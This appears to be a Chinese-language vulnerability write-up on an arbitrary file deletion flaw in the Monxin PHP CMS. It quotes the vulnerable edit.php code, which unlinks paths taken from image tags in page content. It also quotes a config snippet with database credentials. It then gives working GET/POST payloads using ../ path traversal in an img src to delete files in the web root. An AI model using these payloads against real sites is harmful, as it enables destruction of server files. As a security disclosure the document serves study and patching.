PHP…

0x01

任意文件删除

漏洞分析

在/program/diypage/receive/edit.php中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$id=intval(@$_GET['id']);
$type=@$_GET['type'];
$type=($type=='phone')?'phone':'pc';
if($id>0){
$sql="select `content` from ".self::$table_pre."page where `id`='$id'";
$r=$pdo->query($sql,2)->fetch(2);
$time=time();
$editor=$_SESSION['monxin']['id'];
$_POST['type']=intval(@$_POST['type']);
$_POST['link']=safe_str(@$_POST['link']);
$_POST['title']=safe_str(@$_POST['title']);
$_POST['content']=safe_str(@$_POST['content'],0);
if($type=='phone'){
$sql="update ".self::$table_pre."page set `phone_content`='".$_POST['content']."',`time`='$time',`editor`='$editor' where `id`='$id'";
}else{
$sql="update ".self::$table_pre."page set `type`='".$_POST['type']."',`title`='".$_POST['title']."',`content`='".$_POST['content']."',`link`='".$_POST['link']."',`time`='$time',`editor`='$editor' where `id`='$id'";
}
if($pdo->exec($sql)){
$reg='#<img.*src=&\#34;(program/'.self::$config['class_name'].'/attachd/.*)&\#34;.*>#iU';
$new_imgs=get_match_all($reg,$_POST['content']);
//var_dump($new_imgs);
$old_imgs=get_match_all($reg,$r['content']);
foreach($old_imgs as $v){
if(!in_array($v,$new_imgs)){
$sql="select count(id) as c from ".self::$table_pre."page where `content` like '%".$v."%' or `phone_content` like '%".$v."%'";
$r=$pdo->query($sql,2)->fetch(2);
if($r['c']==0){
$path=$v;
unlink($path);
reg_attachd_img("del",self::$config['class_name'],$path,$pdo);
}
}
}

可以发现这个页面的处理是先查出旧的content值,然后把新的content更新到数据库之中,之后再对新旧的content的值进行一个正则匹配,最后如果旧的content值不在新的content中而且不在数据库中,就把旧的content中的src所指向的地址文件删除.$path可控.

查出旧的content

1
$sql="select `content` from ".self::$table_pre."page where `id`='$id'";

进行数据库更新以及正则匹配

1
2
3
4
5
6
7
8
9
10
if($type=='phone'){
$sql="update ".self::$table_pre."page set `phone_content`='".$_POST['content']."',`time`='$time',`editor`='$editor' where `id`='$id'";
}else{
$sql="update ".self::$table_pre."page set `type`='".$_POST['type']."',`title`='".$_POST['title']."',`content`='".$_POST['content']."',`link`='".$_POST['link']."',`time`='$time',`editor`='$editor' where `id`='$id'";
}
if($pdo->exec($sql)){
$reg='#<img.*src=&\#34;(program/'.self::$config['class_name'].'/attachd/.*)&\#34;.*>#iU';
$new_imgs=get_match_all($reg,$_POST['content']);
//var_dump($new_imgs);
$old_imgs=get_match_all($reg,$r['content']);

删除content匹配出的地址

1
2
3
4
5
6
7
8
9
10
11
foreach($old_imgs as $v){
if(!in_array($v,$new_imgs)){
$sql="select count(id) as c from ".self::$table_pre."page where `content` like '%".$v."%' or `phone_content` like '%".$v."%'";
$r=$pdo->query($sql,2)->fetch(2);
if($r['c']==0){
$path=$v;
unlink($path);
reg_attachd_img("del",self::$config['class_name'],$path,$pdo);
}
}
}

接着看一些变量的定义
self::\$table_pre和self::\$config[‘class_name’]在receive.class.php中找到

1
2
3
$program_config=require_once './program/'.$program.'/config.php'; // ./programe/diypage/config
self::$config=array_merge($config,$program_config);
self::$table_pre=$pdo->sys_pre.self::$config['class_name']."_";

跟到config.php文件和pdo类

1
2
3
4
5
6
7
8
9
10
config.php-->
'class_name' => 'diypage',

class ConnectPDO extends PDO{
private $host='localhost';
private $user='root';
private $password='phpmyadmin';
private $dbname='monxin';
public $sys_pre='monxin_';
public $index_pre='monxin_index_';

这样就知道了两个参数的值,最后要怎么去利用edit.php,可以在根目录找到receive.php作为入口文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
...
$pdo=new ConnectPDO();
$_GET['target']=str_replace('.','::',@$_GET['target']);
$target=$_GET['target'];
$target=explode("::",$target);
$program=$target[0];
if(!isset($_SESSION['monxin']['function'])){
if(!in_array($target[0].'.'.$target[1],$config['unlogin_function_power'])){exit($language['act_noPower']);}
}else{
if(!in_array($target[0].'.'.$target[1],$config['unlogin_function_power']) && !in_array($target[0].'.'.$target[1],$_SESSION['monxin']['function'])){exit($language['act_noPower']);}
}
require "./program/{$target[0]}/receive.class.php";
$receive=new receive($pdo);
$receive->$target[1]($pdo);

这里有个$target可以调用edit.php,这样就能达到利用漏洞的效果.

0x02

漏洞利用

首先注册一个账号,找到有效的id,登陆后访问

1
index.php?monxin=diypage.show_page_list&type=0

随便选择一个标题,获取一个id

1
index.php?monxin=diypage.show&id=122

接着开始删除文件,首先填入要删除的文件
payload:

1
2
GET:receive.php?target=diypage::edit&id=122
POST:%3Cimg%20src%3D%26%2334%3Bprogram%2fdiypage%2fattachd%2f..%2f..%2f..%2ftest.txt%26%2334%3B%20alt%3D%26%2334%3B%26%2334%3B%20%2f%3E%20

POST数据经过url解码之后

1
<img src=&#34;program/diypage/attachd/../../../test.txt&#34; alt=&#34;&#34; />

可以删除根目录下的test.txt文件

现在数据库中id=122的conten内容已经被改变

被删除之前

接下来需要再更新一次,还是用这个id,这次构造一个不存在的地址即可.
payload:

1
2
GET:receive.php?target=diypage::edit&id=122
POST:%3Cimg%20src%3D%26%2334%3Bprogram%2fdiypage%2fattachd%2f..%2f..%2f..%2fsd.php%26%2334%3B%20alt%3D%26%2334%3B%26%2334%3B%20%2f%3E%20

提交后

被删除后

0x03

附:One’storm

这个漏洞只有管理员才能去访问edit.php,普通用户s无法利用.
edit.php的删除文件操作执行顺序

提交新的content1->向数据库中插入新的content1->查询出旧的content1,保持同样的id,提交新的content2->数据库更新为新的content2->判断content1->删除content1地址指向文件

(ง •_•)ง